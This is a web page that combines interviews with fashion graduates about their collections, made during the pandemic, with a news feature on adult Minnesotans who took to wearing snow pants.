How would you introduce your graduate collection? My collection maps my symbolic journey towards finding a balance between reality and daydreaming in the process of achieving my personal goals, mixing the traditional craft of crochet with 3D technology to create silhouettes which question the real and the imagined. My real-world experience is represented by the knitted fabrics made from mohair and monofilament, while my tendency to daydream is represented through transparent 3D structures sculpted in PLA, biodegradable plastic made of corn starch. How did you find developing and creating your graduate collection during the pandemic? I’ve had a hard time during the pandemic, but, on the other hand, it has enabled me to develop new approaches that aren’t typical knit. I found the first lockdown period very hard mentally, and couldn’t do any work. Afterwards, though, I completed a 4-month innovation project called ‘Sound of Shape’. In Korea, we were able to go out relatively freely, but, as in Paris, there was limited access to knitting machines, so I had to find a new method. The project’s theme was to discover my own innovation, so I decided to make clothes through a creative new method. I researched how knitting and crochet were practised in the past, when people couldn’t use machines. Furthermore, when I searched for a new material, I came up with the idea of working with a 3D pen, and weaving the PLA plastic like a knit structure. You’re graduating at a time when conversations around race, gender, sexuality and wider issues of identity have never been more prominent in fashion. How do you position your work with respect to these conversations? I wanted to reflect on the current situation in my collection. Previously, in my Parsons MFA collection, I tried to symbolically express my experiences as a woman in Korean society and my attitude against prejudice and discrimination. Although this collection is more concentrated on my inner side, it still expresses a desire to counteract negative stereotypes about me. As a Korean, I grew up in a society that was not part of the fashion mainstream, and I’ve worked very hard to overcome the skeptical gazes of people around me — it’s an effort that continues even to this day. I hope that diversity will become more common in the fashion world, and that young designers who make new attempts to cross barriers of race and nationality will receive greater support in the mainstream.

Jisoo Baik

How would you introduce your graduate collection? My collection, titled ‘Personal Space’, mostly involves incorporating everyday objects that anybody can relate to in order to convey the idea of a safe space where you can be yourself. It was inspired by how individuals carry their possessions with them, each in their own way, when they walk on the street. How did you find developing and creating your graduate collection during the pandemic? The first time Paris went into lockdown, I was so panicked, I couldn’t imagine how I would develop my final collection without any fabrics and materials. The city was like a ghost town. But then I realised that I couldn’t just stop everything and worry. I just kept saying to myself, ‘I’m doing my best that I can.’ The new trials this brought were actually really freeing. Ironically, they’ve given the fashion world even greater freedom, allowing it to escape from the reliance on fashion shows, for example, something that seemed like it would never changed. How has the past year shaped your understanding of fashion’s purpose? Before I started my MA course, I was focused on finding my own voice and identity in my designs. I tried to challenge myself by using unfamiliar materials to making garments, digging deep inside myself to answer questions ‘Who am I?” and, “What do I like?”  Now, though, I’m more focused on responding to a customer’s needs, and thinking about how  I communicate with them. I’ve become much more careful about not getting stuck in my own world.

Johanna Imbach

 

How would you introduce your graduate collection? My graduate collection is a technical and creative exploration of knitwear. It is above all a collection that questions the perception of the spectator, proposing new experiences between garments and bodies. What are its central themes? I wanted to create an almost virtual vision, one of garments without any mass. My three-dimensional approach is above all a sculptural process. This allows me to create graphic and kinetic looks where the body and the garment become one, proposing a new anatomy. I wanted to present a womenswear collection that questions anatomy, perception and proportion; to question the female body and its relationship to clothing through allure and curves. Ultimately, I seek to redefine knitwear, to push it beyond the ideas that we have of knitting and its construction. How did you find developing and creating your graduate collection during the pandemic? The most difficult part of the past year has been living in uncertainty. Being a knitter, and being away from our materials and workspace, was a huge disadvantage, even though we all have domestic machines. We had to leave the workshops for 5 months, putting our minds, and our creativity, to a tough test. We also had to be understanding and responsive to government restrictions. It was a year that seemed insurmountable, but, now our collections have launched, it now feels like it passed quickly.”

Mathieu Goosse

How would you introduce your graduate collection? My collection, titled “I’d like to see you”, is like an image plane, a series of objects in suspension above reality. Short of breath, out of strength, stripped back to the bare essential. It revolves around the ideas of reducing, exhaustion, love, and fragility. I don’t work with mood boards of images, but with emotions, sensations, and objects that I craft and which act as starting points. What are its central themes? It’s about obsession: what fuels it, what brings it alive, and how it triggers our impulses to build and to destroy. I often work with materials I have right next to me, and I like to make them feel new and different. They are sanded, washed-out, and worn-down. There is a frailness in the razor-sharp precision of the handwork, and a roughness in the sensation of sanded silk, peeling python skin, the worn feeling of recycled denim. You’re graduating at a time when conversations around race, gender, sexuality and wider issues of identity have never been more prominent in fashion. How do you position your work with respect to these conversations? Through my choice to not work with ‘images’ and focus on the essence of elements from my personal point of view, I’m trying to build my garments as objects. Pure, detached and independent, they can speak to or touch everyone; they’re essential forms that can belong to anyone. As a menswear student, my collection was presented on boys in the show, but the garments are completely non-gendered. For me, the best way to discuss issues of diversity in my work is to reduce things to the point where they lose any socialised associations, while maintaining a strong presence. How has the past year shaped your understanding of fashion’s purpose? This year of isolation has shown me how fashion is necessary and how much it connects people. It always seems so far from everything — extreme, intense, arrogant, or from another world — but it’s so close to us all, and at all times. Garments are the first things we receive when we’re born, and we keep them with us until the end. They’re what hold us.”

Soyul Kim

How would you introduce your graduate collection? It’s about fierceness layered with softness; being playful in a cut-throat world. I was very much influenced by the inspiring women mentors I had when I started my career in NYC. When we think of ‘strong women’, we only think of their boldness. But you soon realise that they are who they are today because they were willing to fall, accept and learn from their experiences — just like a kid who’s willing to fall because they’ve learned how to pick themselves up again. And everybody has that inner kid, they’re just usually too busy ‘adulting’ through the world. What are its central themes? A central theme throughout my collection is the undeterred presence of a child living in an adult body. Using hard silhouettes like armour-shaped shoulders and hard materials like leather against soft fabrics and lace, or by crocheting structured metal thread into seemingly-fragile fabric, I wanted to express the coexistence of strength and vulnerability. There are also elements that blur the line of being a kid and being an adult, like Furby bags hanging from power suits, or a print with abstract shapes taken from Disney films. I see my collection as a balance of something rough and delicate, masculine and feminine, serious and playful – something adult-y, and youthful at the same time. You’re graduating at a time when conversations around race, gender, sexuality and wider issues of identity have never been more prominent in fashion. How do you position your work with respect to these conversations? I tend not to say it out loud, but I create to put feminine power on equal grounds with masculine power. It’s not about a competition between the genders, but rather about acknowledging underlying historical discrepancies, appreciating each other, and working towards the same goal of closing the gap. I hope to inspire other women and girls through my work – just as I have been inspired by the female mentors in life – that we should never settle for less, and that we should also not be intimidated by competition; rather, we should be inspired by it. It’s about embracing the authentic power of your inner female identity, and being true to what makes you feel comfortable.

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Adult Minnesotans rediscovered the comfort of snow pants, fashion be damned

Emily walpole

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Adult Minnesotans rediscovered the comfort of snow pants, fashion be damned

Brandt Williams of Minneapolis has spent 53 years in the Upper Midwest, but hadn’t worn snow pants since being zipped into a one-piece suit he described as “the iron maiden of clothing for children.”

Then one day last December, while shopping at Costco, Williams spotted a snow pants display. He bought a pair on a whim, thinking they’d be less hassle than adding and removing long underwear.

During the February cold snap, Williams wore his snow pants for daily walks, outdoor reporting assignments for his job with Minnesota Public Radio, or just sitting around a fire pit.

“Having this layer of protection makes you feel like you’ve somehow mastered the elements,” he said. “You have this feeling of invulnerability.”

While snowsuits and coveralls are a staple of ice fishing, snowmobiling and other outdoorsy pursuits, the pandemic has spurred more Minnesotans to join the cozy club of adults who wear the padded pants. They’re remembering childhoods spent sitting in snowbanks, undeterred by dampness or cold, and wondering why their adult selves hadn’t reembraced snow pants sooner.

For some, donning snow pants has been an act of self-care in a time when so many of the usual ways we treat ourselves — from happy hours to hitting the mall — have been curtailed.

And once they’ve crossed over to the warmer side of winter life, snow pants converts can’t stop talking about how great they are — fashion stigma be damned.

“Being warm is cool,” Williams said. “It doesn’t matter how you look. And plus, they’re not bad-looking pants.”

The snow pants gospel

For Luke LeBlanc, adopting snow pants improved his outdoor experience dramatically. The 25-year-old Minneapolis singer/songwriter admits that prior apathy about winter gear meant he was constantly underdressed; his heaviest coat was a windbreaker.

This year, anticipating he’d be spending more time outdoors, Le-Blanc invested in a big, puffy jacket and a pair of waterproof snow pants.

“I don’t mean to blow it out of proportion and say it’s life-changing, but you can go and do stuff outside and not be in pain the whole entire time,” he said.

He’s hesitated to wear his snow pants when he’d like to project some semblance of style, such as at a brewery patio. And while he showed up at the outdoor photo shoot for his new album wearing snow pants, he removed them before the camera started clicking. “But the grocery store — I don’t care who sees me in snow pants,” he said.

LeBlanc has also worn his new gear on walks, to an outdoor concert, deer hunting with his dad, and tinkering on his car.

“As naive as it sounds, I didn’t realize I could be outside when it’s 10 degrees and feel like I’m walking around inside,” he said.

Now, LeBlanc regularly extols the virtues of a warm lower half.

“I’ve been preaching the snow pants gospel, and we’ll see how many converts I get,” he said.

Fueling a ‘pantsdemic’

Among Minneapolis’ biggest snow pants evangelists is Charlie McCarron, organizer of an outdoor activity club he calls “Snowpantsdemic.”

This winter, McCarron busted out a pair of snow pants he hadn’t worn since high school (“a lot of my clothes are from high school, even though I’m in my 30s,” he admitted) and invited his friends to bimonthly outings, including snow kickball, sledding, and a game he invented that’s a sort of cross between boot hockey and golf. (McCarron dabbles in board-game design alongside his work as a composer.)

While McCarron has been using snow pants to inspire his friends to embrace their inner child, Hannah Aderinkomi bought her new snow pants simply to stay as warm as her kids.

In the past, when Aderinkomi took her young children sledding, she’d add a base layer beneath her pants. The last time she wore snow pants was grade school. “It’s almost like it didn’t occur to me to buy them for myself, even though I was buying them every year for my kids,” she said.

This season was different: If she was going to fully appreciate Minnesota winter, Aderinkomi wanted to be comfortable. So she ordered a pair of snow pants online and wore them on the family’s next trip to the sledding hill. Her husband, Thompson Aderinkomi, then decided to upgrade from double-layering pants to his own pair of snow pants. Since then, the couple have been as cozy as their kids every time the family has played outside or gone snowshoeing.

“I’m always cold, so the fact it took me so long is sort of fascinating — I’ve lived here my entire adult life,” Hannah Aderinkomi admitted.

In some ways, she said, buying snow pants was an unlikely form of pandemic self-care, not so different from the services that clients of her Minneapolis laser hair removal/skin-care business use to treat themselves. “Maybe adult snow pants were just something that I did for myself,” she said.

In any case, Aderinkomi is happy to have embraced a new era of outdoor warmth. “We built a snowman the other day and I think old Hannah would have done that, too, but this Hannah was a bit more comfortable,” she said.

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